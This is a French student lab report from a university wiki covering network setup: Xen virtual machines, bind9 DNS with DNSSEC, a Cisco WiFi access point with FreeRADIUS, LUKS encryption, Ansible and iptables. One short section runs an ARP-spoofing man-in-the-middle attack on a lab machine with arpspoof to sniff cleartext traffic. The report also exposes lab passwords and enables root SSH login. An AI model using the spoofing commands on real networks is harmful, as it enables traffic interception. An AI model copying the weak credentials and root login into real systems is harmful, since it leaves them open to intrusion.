+ | loop0 7:0 0 99.4M 1 loop /snap/core/11993 | ||
+ | loop1 7:1 0 61.9M 1 loop /snap/core20/1270 | ||
+ | loop2 7:2 0 43.1M 1 loop /snap/certbot/1670 | ||
+ | xvda1 202:1 0 512M 0 disk [SWAP] | ||
+ | xvda2 202:2 0 4G 0 disk / | ||
+ | xvda3 202:3 0 10G 0 disk /home | ||
+ | xvda4 202:4 0 10G 0 disk /var | ||
+ | xvda5 202:5 0 1G 0 disk | ||
+ | `-md0 9:0 0 2G 0 raid5 /media/raid | ||
+ | xvda6 202:6 0 1G 0 disk | ||
+ | `-md0 9:0 0 2G 0 raid5 /media/raid | ||
+ | xvda7 202:7 0 1G 0 disk | ||
+ | `-md0 9:0 0 2G 0 raid5 /media/raid | ||
+ | |||
+ | = Configuration point d'accès WiFI = | ||
+ | |||
+ | Configuration du point d'accès WiFi E304 (primaire) : | ||
+ | |||
+ | Installation de minicom sur macos : | ||
+ | brew install minicom | ||
+ | |||
+ | Récupération du nom du point d'accès connecté en USB (mac Os): | ||
+ | ls /dev/cu* | ||
+ | |||
+ | On obtient (en branchant et débranchant on identifie l'appareil qui apparait): | ||
+ | /dev/cu.usbserial-FTB3OOLY | ||
+ | |||
+ | Configuration du routeur WiFi : | ||
+ | minicom -os | ||
+ | |||
+ | Configuration à ajouter : | ||
+ | Nom de device : /dev/cu.usbserial-FTB3OOLY | ||
+ | Baudrate : 9600 8N1 | ||
+ | |||
+ | Sources : | ||
+ | - https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6 | ||
+ | - https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/reseau006.html#sec29 | ||
+ | |||
+ | enable => Passer en root (mdp : Cisco si par défaut) | ||
+ | conf t | ||
+ | hostname wifi-ima5sc-e304 => (optionnel) on donne un nom à notre point d'accès | ||
+ | ip domain-name plil.info => ajoute un nom de domaine (utilisé pour la création de certificats) | ||
+ | |||
+ | Activation du ssh : | ||
+ | |||
+ | crypto key generate rsa general-keys modulus 2048 => Génération clés publique/privée | ||
+ | ip ssh version 2 => Activation ssh | ||
+ | |||
+ | Configuration de l'authentification sur le point d'accès : | ||
+ | |||
+ | aaa new-model | ||
+ | aaa authentication login eap_marguerite group radius_marguerite | ||
+ | radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secret_marguerite | ||
+ | aaa group server radius radius_marguerite | ||
+ | server 193.48.57.177 auth-port 1812 acct-port 1813 | ||
+ | |||
+ | Configuration du SSID : | ||
+ | |||
+ | conf t | ||
+ | dot11 ssid SSID_MARGUERITE | ||
+ | vlan 11 | ||
+ | authentication open eap eap_marguerite | ||
+ | authentication network-eap eap_marguerite | ||
+ | authentication key-management wpa | ||
+ | mbssid guest-mode | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | Association du SSID à l'interface Wi-Fi : | ||
+ | |||
+ | conf t | ||
+ | interface Dot11Radio0 | ||
+ | encryption vlan 11 mode ciphers aes-ccm tkip | ||
+ | ssid SSID_MARGUERITE | ||
+ | mbssid | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | Configuration du Vlan 11 : | ||
+ | |||
+ | conf t | ||
+ | interface Dot11Radio0.11 | ||
+ | encapsulation dot1Q 11 | ||
+ | no ip route-cache | ||
+ | bridge-group 11 | ||
+ | bridge-group 11 subscriber-loop-control | ||
+ | bridge-group 11 spanning-disabled | ||
+ | bridge-group 11 block-unknown-source | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | Configuration interface filaire : | ||
+ | |||
+ | conf t | ||
+ | interface GigabitEthernet0.11 | ||
+ | encapsulation dot1Q 11 | ||
+ | bridge-group 11 | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | Configuration de l'IP du point d'accès et sa Gateway (n'est pas à faire par tous les groupes) : | ||
+ | |||
+ | conf t | ||
+ | ip default-gateway 10.1.0.2 | ||
+ | interface BVI 1 | ||
+ | ip address 10.1.0.4 255.255.255.0 | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | '''Configuration du routeur en e304 :''' | ||
+ | |||
+ | Configuration du VLAN1 : | ||
+ | conf t | ||
+ | interface vlan 1 | ||
+ | ip address 10.1.0.2 255.255.255.0 | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | Configuration du port sur lequel est branché l'AP en mode trunk : | ||
+ | |||
+ | conf t | ||
+ | interface Gi4/2 | ||
+ | switchport | ||
+ | switchport mode trunk | ||
+ | switchport trunk allowed vlan add 1 | ||
+ | exit | ||
+ | exit | ||
+ | |||
+ | = Serveur FreeRadius = | ||
+ | |||
+ | Installation de freeRADIUS | ||
+ | |||
+ | apt install freeradius | ||
+ | |||
+ | On commence par configurer <code>/etc/freeradius/3.0/clients.conf</code> à détailler | ||
+ | |||
+ | client marguerite { | ||
+ | ipaddr = 10.1.0.4/24 | ||
+ | secret = secret_marguerite | ||
+ | } | ||
+ | |||
+ | ensuite <code>/etc/freeradius/3.0/mods-enabled/eap</code> | ||
+ | |||
+ | eap { | ||
+ | [...] | ||
+ | default_eap_type = peap | ||
+ | } | ||
+ | |||
+ | puis <code>/etc/freeradius/3.0/users</code> | ||
+ | |||
+ | [...] | ||
+ | root Cleartext-Password := "glopglop" | ||
+ | |||
+ | Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug <code>freeradius -X</code> (après avoir au préalable stoppé le processus) | ||
+ | |||
+ | [[ Fichier:Eap auth marguerite.png ]] | ||
+ | |||
+ | = Réalisations = | ||
+ | == Chiffrement de données== | ||
+ | |||
+ | On se met en root sur une zabeth et on affiche les périphériques avec lsblk. | ||
+ | |||
+ | On s'interesse au périphérique suivant : | ||
+ | sdb 8:16 1 7.6G 0 disk | ||
+ | └─sdb1 8:17 1 7.6G 0 part /media/pifou/USB DISK | ||
+ | |||
+ | On formate la clef en ext4 | ||
+ | mkfs.ext4 /dev/sdb1 | ||
+ | |||
+ | Puis on commence le cryptage en initialisant la clef avec un mot de passe (ici le mot de passe habituel mais x3): | ||
+ | cryptsetup luksFormat /dev/sdb1 | ||
+ | |||
+ | On crée une partition chiffrée appelée data avec sa passphrase : | ||
+ | cryptsetup luksOpen /dev/sdb1 data | ||
+ | |||
+ | Que l'on formate : | ||
+ | mkfs.ext4 /dev/mapper/data | ||
+ | |||
+ | On monte cette partition pour lui permettre de contenir des fichiers : | ||
+ | |||
+ | mkdir /mnt/data_usb | ||
+ | mount -t ext4 /dev/mapper/data /mnt/data_usb | ||
+ | |||
+ | On écrit un fichier test dans la partition : | ||
+ | vim /mnt/data_usb/test | ||
+ | |||
+ | On démonte la partition : | ||
+ | umount /mnt/data_usb | ||
+ | Et on ferme le volume maintenant chiffré : | ||
+ | cryptsetup luksClose data | ||
+ | |||
+ | En voulant accéder à la clef, nous avons maintenant une demande de mot de passe, une fois insérer le fichier test est bien dedans avec son contenu. | ||
+ | [[fichier:demande_mdp.png]] | ||
+ | |||
+ | ==Attaque de type "homme au milieu" par usurpation ARP== | ||
+ | |||
+ | source: https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6 | ||
+ | |||
+ | On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark. | ||
+ | |||
+ | On fait : | ||
+ | |||
+ | $ echo 1 > /proc/sys/net/ipv4/ip_forward | ||
+ | |||
+ | Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61): | ||
+ | |||
+ | $ arpspoof -t 172.26.145.61 172.26.145.254 | ||
+ | |||
+ | En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair. | ||
+ | |||
+ | = Ferme de serveurs Web = | ||
+ | |||
+ | Installation VM xen : | ||
+ | |||
+ | xl create -c /etc/xen/pra-07.cfg | ||
+ | |||
+ | Configuration IP : | ||
+ | |||
+ | Dans /etc/network/interfaces : | ||
+ | |||
+ | # The primary network interface | ||
+ | auto eth0 | ||
+ | iface eth0 inet static | ||
+ | address 172.26.145.102 | ||
+ | netmask 255.255.255.0 | ||
+ | gateway 172.26.145.254 | ||
+ | |||
+ | Vérifier si on a bien la passerelle par défaut de configurer | ||
+ | |||
+ | ip r | ||
+ | |||
+ | On peut pinger le routeur : | ||
+ | |||
+ | ping 172.26.154.254 | ||
+ | |||
+ | Mais pas les addresses ipv4 routée : | ||
+ | |||
+ | ping 8.8.8.8 échoue | ||
+ | |||
+ | Redémarage service networking | ||
+ | |||
+ | service networking restart | ||
+ | |||
+ | Si ça n'est pas suffisant : | ||
+ | |||
+ | ifdown eth0 | ||
+ | ifup eth0 | ||
+ | |||
+ | Dans /etc/ssh/sshd_config : | ||
+ | |||
+ | PermitRootLogin yes | ||
+ | |||
+ | Redémarage service ssh | ||
+ | export http_proxy=http://proxy.plil.fr:3128 | ||
+ | service sshd restart | ||
+ | |||
+ | |||
+ | Création d'une clé ssh sur la zabeth et ajout de cette clé dans les clés autorisées de la vm de pra : | ||
+ | |||
+ | ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -C "aviran.tetia@polytech-lille.net" -P "" | ||
+ | |||
+ | On copie le contenu de la clé crée : | ||
+ | |||
+ | cat ~/.ssh/id_ed25519.pub | ||
+ | |||
+ | On colle son contenu dans les clé authorisées de la VM (fichier ~/.ssh/authorized_keys) : | ||
+ | |||
+ | cat ~/.ssh/authorized_keys | ||
+ | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net | ||
+ | |||
+ | Correction de la source list de la VM pour pouvoir utiliser apt correctement : | ||
+ | |||
+ | On remplace les deux dernières lignes par : | ||
+ | |||
+ | deb http://security.debian.org/debian-security bullseye-security main contrib non-free | ||
+ | deb-src http://security.debian.org/debian-security bullseye-security main contrib non-free | ||
+ | |||
+ | Installation de python sur la VM : | ||
+ | |||
+ | apt update | ||
+ | apt install python3 | ||
+ | |||
+ | Création d'un venv pour l'éxecution : | ||
+ | |||
+ | python3 -m venv ~/env-ansible | ||
+ | . ~/env-ansible/bin/activate | ||
+ | pip3 install -U setuptools wheel | ||
+ | pip3 install -U ansible | ||
+ | |||
+ | On crée l'arborescence suivante : | ||
+ | |||
+ | └── roles | ||
+ | ├── base | ||
+ | │ ├── tasks | ||
+ | │ │ └── main.yml | ||
+ | │ └── templates | ||
+ | │ ├── hostname.j2 | ||
+ | │ └── hosts.j2 | ||
+ | └── ssh_key | ||
+ | ├── tasks | ||
+ | │ └── main.yml | ||
+ | └── templates | ||
+ | └── keys.j2 | ||
+ | |||
+ | Dans main.yml : | ||
+ | - name: "Setup sshkeys" | ||
+ | template: | ||
+ | src: keys.j2 | ||
+ | dest: /root/.ssh/authorized_keys | ||
+ | owner: root | ||
+ | group: root | ||
+ | mode: "0600" | ||
+ | |||
+ | /!\ ne pas mettre de tabulation dans ce fichier, uniquement des espaces | ||
+ | |||
+ | Dans keys.j2 : | ||
+ | {% for item in ssh_keys %} | ||
+ | <nowiki>{{ item.key }}</nowiki> | ||
+ | {% endfor %} | ||
+ | |||
+ | Ajout d'une clef dans les variables de groupe group_vars/all.yaml : | ||
+ | |||
+ | ssh_keys: | ||
+ | # if you don't install this i won't be able to get into your nodes to help you debug :) | ||
+ | - name: tmaurice@thonkpad | ||
+ | key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrw78OSJACq5MFXHrhAr2bPpnTNxwLE85mzij8gKmCs thomas@thonkpad | ||
+ | # add more keys here | ||
+ | - name: aviran.tetia@polytech-lille.net | ||
+ | key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net | ||
+ | |||
+ | |||
+ | Puis lancer la commande : | ||
+ | |||
+ | ansible-playbook -v -i inventory polytech.yaml | ||
+ | |||
+ | Vérification dans le fichier /root/.ssh/authorized_keys : | ||
+ | |||
+ | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrw78OSJACq5MFXHrhAr2bPpnTNxwLE85mzij8gKmCs thomas@thonkpad | ||
+ | ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDZfT1XxI7Zmqd07dup81hztaYKwLLapjhORHWmxUUCJ aviran.tetia@polytech-lille.net | ||
+ | |||
+ | Nous obtenons bien toutes nos clefs ssh. | ||
+ | |||
+ | Ajout des var d'environement pour pouvoir installer docker : | ||
+ | |||
+ | export http_proxy=http://proxy.plil.fr:3128 | ||
+ | export https_proxy=http://proxy.plil.fr:3128 | ||
+ | |||
+ | Installation du rôle Docker : | ||
+ | |||
+ | ansible-galaxy install geerlingguy.docker | ||
+ | |||
+ | Puis dans polytech.yml : | ||
+ | |||
+ | - hosts: all | ||
+ | roles: | ||
+ | ... | ||
+ | - geerlingguy.docker | ||
+ | |||
+ | |||
+ | Après ré-execution du playbook, nous pouvons vérifier que Docker est bien installé : | ||
+ | |||
+ | docker -v | ||
+ | |||
+ | Installation du Pare-feu : | ||
+ | |||
+ | source : https://wiki-ima.plil.fr/mediawiki//index.php/TP_sysres_IMA5_2021/2022_G6 | ||
+ | |||
+ | - création de roles/iptables/tasks/main.yml : | ||
+ | |||
+ | --- | ||
+ | |||
+ | - name: Allow ports INPUT tcp | ||
+ | iptables: | ||
+ | chain: INPUT | ||
+ | protocol: tcp | ||
+ | destination_port: "{ { item } }" | ||
+ | jump: ACCEPT | ||
+ | ctstate: NEW,ESTABLISHED | ||
+ | loop: "{ { iptables_accepted_tcp_ports } }" | ||
+ | |||
+ | - name: Allow ports INPUT udp | ||
+ | iptables: | ||
+ | chain: INPUT | ||
+ | protocol: udp | ||
+ | destination_port: "{ { item } }" | ||
+ | jump: ACCEPT | ||
+ | ctstate: NEW,ESTABLISHED | ||
+ | loop: "{ { iptables_accepted_udp_ports } }" | ||
+ | |||
+ | - name: Set the policy for the INPUT chain to DROP | ||
+ | ansible.builtin.iptables: | ||
+ | chain: INPUT | ||
+ | policy: DROP | ||
− | + | - Cration du fichier de variables : | |
− | |||
− | + | iptables_accepted_tcp_ports: | |
+ | - 8600 | ||
+ | - 8500 | ||
+ | - 8501 | ||
+ | - 8502 | ||
+ | - 8301 | ||
+ | - 8302 | ||
+ | - 8300 | ||
+ | - 22 | ||
+ | - 80 | ||
+ | - 443 | ||
− | + | iptables_accepted_udp_ports: | |
+ | - 8600 | ||
+ | - 8301 | ||
+ | - 8302 | ||
+ | - 22 | ||
+ | - 80 | ||
+ | - 443 |
Version actuelle datée du 13 janvier 2022 à 12:48
Wiki compte-rendu de TP PRA - Aviran Tetia & Robin Lasserye
Sommaire
Cours et Sujet
L'objectif de ce TP est de créer un réseau redondé
Cours
Lien: https://rex.plil.fr/Enseignement/Reseau/Reseau.IMA5sc/
Sujet
Lien : https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/
Configuration du Réseau physique
[insérer image]
Plan d'adressage
Groupe | VLAN | Réseau IPv4 | Réseau IPv6 | @IPv4 virtuelle | IPv4/IPv6 6509E (E304) | IPv4/IPv6 C9200 (E306) | IPv4/IPv6 ISR4331 | SSID | VM |
---|---|---|---|---|---|---|---|---|---|
Andrei / Julien | 10 | 10.00.0.0/16 | 2001:7A8:116E:60B0::0/64 | 10.00.0.250 | 10.00.0.251 | 10.00.0.252 | 10.00.0.253 | Jonquille | Kronenbourg |
Robin / Aviran | 11 | 10.11.0.0/16 | 2001:7A8:116E:60B1::0/64 | 10.11.0.250 | 10.11.0.251 | 10.11.0.252 | 10.11.0.253 | Marguerite | Paixdieu |
Axel / Guillaume | 02 | 10.2.0.0/16 | 2001:7A8:116E:60B2::0/64 | 10.02.0.250 | 10.02.0.251 | 10.02.0.252 | 10.02.0.253 | Pensee | Kasteel |
Selim / Raphael | 03 | 10.3.0.0/16 | 2001:7A8:116E:60B3::0/64 | 10.03.0.250 | 10.03.0.251 | 10.03.0.252 | 10.03.0.253 | Lavende | Karmeliet |
Helene / Camille | 04 | 10.4.0.0/16 | 2001:7A8:116E:60B4::0/64 | 10.04.0.250 | 10.04.0.251 | 10.04.0.252 | 10.04.0.253 | Tulipe | Duff |
Boris / Louis | 05 | 10.5.0.0/16 | 2001:7A8:116E:60B5::0/64 | 10.05.0.250 | 10.05.0.251 | 10.05.0.252 | 10.05.0.253 | Rose | Bellerose |
Johnny / Arthur | 06 | 10.6.0.0/16 | 2001:7A8:116E:60B6::0/64 | 10.06.0.250 | 10.06.0.251 | 10.06.0.252 | 10.06.0.253 | Orchidee | Anosteke |
Mel / Theo | 07 | 10.7.0.0/16 | 2001:7A8:116E:60B7::0/64 | 10.07.0.250 | 10.07.0.251 | 10.07.0.252 | 10.07.0.253 | Tournesol | RinceCochon |
Khalil / Alvaro | 08 | 10.8.0.0/16 | 2001:7A8:116E:60B8::0/64 | 10.08.0.250 | 10.08.0.251 | 10.08.0.252 | 10.08.0.253 | Lys | godless |
Souleyman / Enoch | 09 | 10.9.0.0/16 | 2001:7A8:116E:60B9::0/64 | 10.09.0.250 | 10.09.0.251 | 10.09.0.252 | 10.09.0.253 | Pissenlit | Panache |
Clement | 110 | 10.10.0.0/16 | 2001:7A8:116E:60BA::0/64 | 10.10.0.250 | 10.10.0.251 | 10.10.0.252 | 10.10.0.253 | Coquelicot | Corona |
INTERCO | 531 | 192.168.222.72/29 | 192.168.222.74 | 192.168.222.75 | 192.168.222.76 | ||||
XEN | 42 | 193.48.57.160/28 | 2001:7A8:116E:60BF::0/64 | 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 | 193.48.57.187/28 2001:7A8:116E:60B0::F0/64 | 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 | 192.48.57.189/28 2001:7A8:116E:60B0::F2/64 |
Table du VLAN 42
Groupe | @IPv4 MV | @IPv6 MV (auto) |
---|---|---|
Andrei / Julien | 193.48.57.176/28 | |
Robin / Aviran | 193.48.57.177/28 | |
Axel / Guillaume | 193.48.57.178/28 | |
Selim / Raphael | 193.48.57.179/28 | |
Helene / Camille | 193.48.57.180/28 | |
Boris / Louis | 193.48.57.181/28 | |
Johnny / Arthur | 193.48.57.182/28 | |
Mel / Theo | 193.48.57.183/28 | |
Khalil / Alvare | 193.48.57.184/28 | |
Souleyman / Enoch | 193.48.57.185/28 | |
Clement | 193.48.57.186/28 |
- Plan d'adressage IPv4 :
VLAN | Nom | Réseau IPv4 | Cisco 6509-E | Cisco 9200 | Cisco ISR 4331 | Routeur plateforme maths/info | PA Wifi n°1 | PA Wifi n°2 |
---|---|---|---|---|---|---|---|---|
- Plan d'adressage IPv6 :
VLAN | Nom | Réseau IPv6 | Cisco 6509-E | Cisco 9200 | Cisco ISR 4331 | Routeur plateforme maths/info | PA Wifi n°1 | PA Wifi n°2 |
---|
Administration
Vlan 1 = Vlan d'administration
Nom de l'appareil | IPv4 |
---|---|
router e306 | 10.1.0.1/24 |
router e304 | 10.1.0.2/24 |
ap e306 | 10.1.0.3/24 |
ap e304 | 10.1.0.4/24 |
Configuration des Machines Virtuelles
On se connecte en ssh à capbreton :
ssh root@capbreton
Nous incluons le proxy de polytech dans nos variables d'environnement:
export http_proxy=http://proxy.plil.fr:3128
Nous procédons ensuite la création de la machine virtuelle, pour cela nous allons saisir les informations suivantes: le nom de la machine (ici Paixdieu), l'adresse IP (--ip) qui nous a été fourni durant la répartition des IP, l'adresse IP du routeur de la salle E306 (--gateway) et le masque du réseau correspondant à un /28 (--netmask) (le /27 étant divisé entre les deux classes), l'emplacement de nos disques virtuels (--dir), le mot de passe de la machine virtuel (---password) puis le type de distribution souhaitée, ici nous avons choisi Debian Bullseye (--dist).
xen-create-image --hostname=Paixdieu --ip=193.48.57.177 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
Ensuite, nous avons créé deux LV, chacun de 10 Go sur le groupe de volume de stockage:
lvcreate -L10G -n Paixdieu1 storage lvcreate -L10G -n Paixdieu2 storage
Puis nous les avons formatés au format ext4 de la manière suivante:
mkfs.ext4 /dev/storage/Paixdieu1 mkfs.ext4 /dev/storage/Paixdieu2
nous modifions ensuite notre fichier "/etc/xen/Paixdieu.cfg" pour préciser l'ajout les volumes logiques Paixdieu1 et Paixdieu2, de plus on ajoute le bridge IMA5sc dans la fonction vif. Pour cela on ajoute les lignes suivantes:
# # Disk device(s). # root = '/dev/xvda2 ro' disk = [ 'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w', 'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w', 'phy:/dev/storage/Paixdieu1,xvda3,w', 'phy:/dev/storage/Paixdieu2,xvda4,w' ] # # Physical volumes # # # Hostname # name = 'Paixdieu' # # Networking # vif = [ 'ip=193.48.57.177 ,mac=00:16:3E:95:13:AE ,bridge=IMA5sc' ]
Nous lancons la machine virtuelle:
xl create -c /etc/xen/Paixdieu.cfg
Nous ajoutons les répertoires liés à xvda3 et vxda4 pour y placer /home et /var:
mkdir /mnt/xvda3 mkdir /mnt/xvda4 mount /dev/xvda3 /mnt/xvda3 mount /dev/xvda4 /mnt/xvda4
Nous y déplaçons le répertoire /var/ dans xvda4:
mv /var/* /mnt/xvda4
Pour monter les disques, nous modifions les lignes suivantes dans /etc/fstab:
proc /proc proc defaults 0 0 devpts /dev/pts devpts rw,noexec,nosuid,gid=5,mode=620 0 0 /dev/xvda1 none swap sw 0 0 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1 /dev/xvda3 /home ext4 defaults 0 2 /dev/xvda4 /var ext4 defaults 0 2
Puis nous lancons la commande de montage:
mount -a
Nous obtenons les partitions suivantes:
lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT xvda1 202:1 0 512M 0 disk [SWAP] xvda2 202:2 0 4G 0 disk / xvda3 202:3 0 10G 0 disk /home xvda4 202:4 0 10G 0 disk /var
Pour finir nous activons l'IPv6 dans l'interface en ajoutant les lignes suivantes dans /etc/network/interfaces:
# This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.177 gateway 193.48.57.190 netmask 255.255.255.240 iface eth0 inet6 auto # post-up ethtool -K eth0 tx off # # The commented out line above will disable TCP checksumming which # might resolve problems for some users. It is disabled by default
Nous effectuons les commandes suivantes pour appliquer les changements:
systemctl restart networking ip a
Et nous obtenons les résultats comme ça:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:16:3e:95:13:ae brd ff:ff:ff:ff:ff:ff inet 193.48.57.177/28 brd 193.48.57.191 scope global eth0 valid_lft forever preferred_lft forever inet6 2001:7a8:116e:60b0:216:3eff:fe95:13ae/64 scope global dynamic mngtmpaddr valid_lft 2591995sec preferred_lft 604795sec inet6 fe80::216:3eff:fe95:13ae/64 scope link valid_lft forever preferred_lft forever
Puis nous quittons la VM avec CTRL + [
Pour y retourner:
xen console Paixdieu
Pour retourner sur sa machine virtuelle, il faut :
- retourner sur capbreton
ssh root@capbreton
- Relancer la VM (login : root | password : glopglopglop):
xl create -c /etc/xen/Paixdieu.cfg
Nous avons configuré la résolution de noms dans /etc/network/interfaces, en ajoutons la ligne suivante :
# This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0 iface eth0 inet static address 193.48.57.177 gateway 193.48.57.190 netmask 255.255.255.240 dns-nameservers 8.8.8.8 8.8.4.4 iface eth0 inet6 auto
Puis nous avons vérifié son fonctionnement à l'aide d'un :
ping www.google.com ... --- www.google.com ping statistics --- 5 packets transmitted, 5 received, 0% packet loss, time 4005ms
Configuration du SSH
Dans /etc/ssh/sshd_config, ajout des lignes :
Port 2223 PermitRootLogin yes
Puis :
> systemctl restart ssh > systemctl status ssh ssh.service - OpenBSD Secure Shell server Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: e> Active: active (running) since Mon 2021-11-29 14:47:49 UTC; 2s ago Docs: man:sshd(8) man:sshd_config(5) Process: 3679 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) Main PID: 3680 (sshd) Tasks: 1 (limit: 230) Memory: 1.3M CPU: 21ms CGroup: /system.slice/ssh.service `-3680 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
Puis nous testons le SSH depuis le terminal de la Zabeth :
> ssh root@193.48.57.177 -p 2223 password : glopglopglop
Nous arrivons à nous connecter, la configuration du SSh est donc un succès.
Configuration du DNS
On a installé le package bind9 :
>apt install bind9
Sur le site gandit.net, nous avons modifié :
Fenêtre Glue Records : ns1.paixdieu.site | 193.48.57.177
Fenêtre Serveurs de noms :
DNS Primaire : ns1.paixdieu.site | DNS Secondaire : ns6.gandi.net Note : Après avoir constaté que le serveur secondaire ne se mettait pas à jour après chaque "notify" du serveur primaire, nous avons finalement choisi d'utiliser le serveur ns1.belle-rose.site en tant que serveur secondaire.
Dans le fichier /etc/resolv.conf, ajout de la ligne :
nameserver 127.0.0.1
Afin de configurer le DNS par defaut.
Puis nous passons à la configuration du DNS primaire : On ajoute donc une zone lié à notre domaine paixdieu.site de type master et le chemin de son fichier de configuration et on permet les transferts d'informations avec le DNS secondaire ns6.gandi.net.
On ajoute donc les lignes suivantes dans /etc/bind/named.conf.local:
>vim /etc/bind/named.conf.local zone "paixdieu.site" { type master; file "/etc/bind/db.paixdieu.site"; };
Nous avons séparés configuration des serveurs autorisés à dupliqué nos zones de la config de nos zones en insérant les acl suivantes dans le fichier /etc/bind/named.conf.
options { directory "/var/cache/bind"; dnssec-validation auto; dnssec-enable yes; dnssec-lookaside auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40; //@ de ns6.gandi.net mais plus utilisé au final 193.48.57.181; //@ de ns1.belle-rose.site };
Puis nous configurons la zone paixdieu.site, pour cela on ajoute les ns. On ajoute les lignes suivantes dans /etc/bind/db.paixdieu.site:
>vim /etc/bind/db.paixdieu.site @ IN SOA ns1.paixdieu.site. postmaster.paixdieu.site. ( 4 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.paixdieu.site. @ IN NS ns1.belle-rose.site. ns1 IN A 193.48.57.177 www IN A 193.48.57.177
Pour tester le bon fonctionnement du serveur DNS, nous utilisons la commande :
>host -t any paixdieu.site localhost
Résultat, cela fonctionne bien :
Using domain server: Name: localhost Address: 127.0.0.1#53 Aliases: paixdieu.site has SOA record ns1.paixdieu.site. postmaster.paixdieu.site. 4 604800 86400 2419200 604800 paixdieu.site name server ns1.belle-rose.site. paixdieu.site name server ns1.paixdieu.site.
HTTPS / Certificat SSL
Nous avons ensuite procéder à la création des certificats SSL. Nous sommes donc allés sur Gandi, acheter un certificat. Pour cela nous avons généré un CSR avec la commande :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout paixdieu.site.key -out paixdieu.site.csr
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.
-keyout paixdieu.site.key permet de sauvegarder le fichier de clé privée sous le nom "paixdieu.site.key".
-out paixdieu.csr permet de sauvegarder le fichier CSR sous le nom "paixdieu.csr".
Lors du paramètrage, nous avons bien fait attention à rentrer "paixdieu.site" comme common name pour que le certificat soit validé par gandi. Cela se fait en copiant le contenu de paixdieu.site.csr dans la fenêtre correspondante lors de l'achat du certificat.
Afin de bien sauvegarder les fichiers utilisés, nous les avons sauvegarder dans le dossier suivant:
~/save_dns/paixdieu.site.csr ~/save_dns/paixdieu.site.key
Sécurisation de serveur DNS par DNSSEC
Activer DNSSEC
Dans /etc/bind/named.conf.options on ajoute les lignes :
dnssec-validation yes; dnssec-enable yes; dnssec-lookaside auto;
On crée un répertoire /etc/bind/paixdieu.site.dnssec/ On crée la clef asymétrique de signature de clefs de zone
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE paixdieu.site
On crée la clef asymétrique de la zone pour signer les enregistrements
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE paixdieu.site
On renomme les clés :
mv Kpaixdieu.site.+005+17429.key paixdieu.site-ksk.key mv Kpaixdieu.site.+005+17429.private paixdieu.site-ksk.private mv Kpaixdieu.site.+005+28633.key paixdieu.site-zsk.key mv Kpaixdieu.site.+005+28633.private paixdieu.site-zsk.private
On les inclue à la suite de /etc/bind/db.paixdieu.site
$include /etc/bind/paixdieu.site.dnssec/paixdieu.site-ksk.key $include /etc/bind/paixdieu.site.dnssec/paixdieu.site-zsk.key
Puis incrémente le numéro de série (5=>6)
On signe des enregistrements de la zone
dnssec-signzone -o paixdieu.site -k paixdieu.site-ksk ../db.paixdieu.site paixdieu.site-zsk
Prise en compte du fichier signé
On modifie le fichier /etc/bind/named.conf.local de la manière suivante :
zone "paixdieu.site" {
type master; file "/etc/bind/db.paixdieu.site.signed";
};
Pour finir, nous allons sur gandi.net, sur notre nom de domaine dans DNSSEC et nous ajoutons la clef (ksk avec l'algorithme 5 (RSA/SHA-1). Et nous vérifions le bon fonctionnement du DNSSEC de la manière suivante :
> dnssec-verify -o paixdieu.site db.paixdieu.site.signed
Loading zone 'paixdieu.site' from file 'db.paixdieu.site.signed'
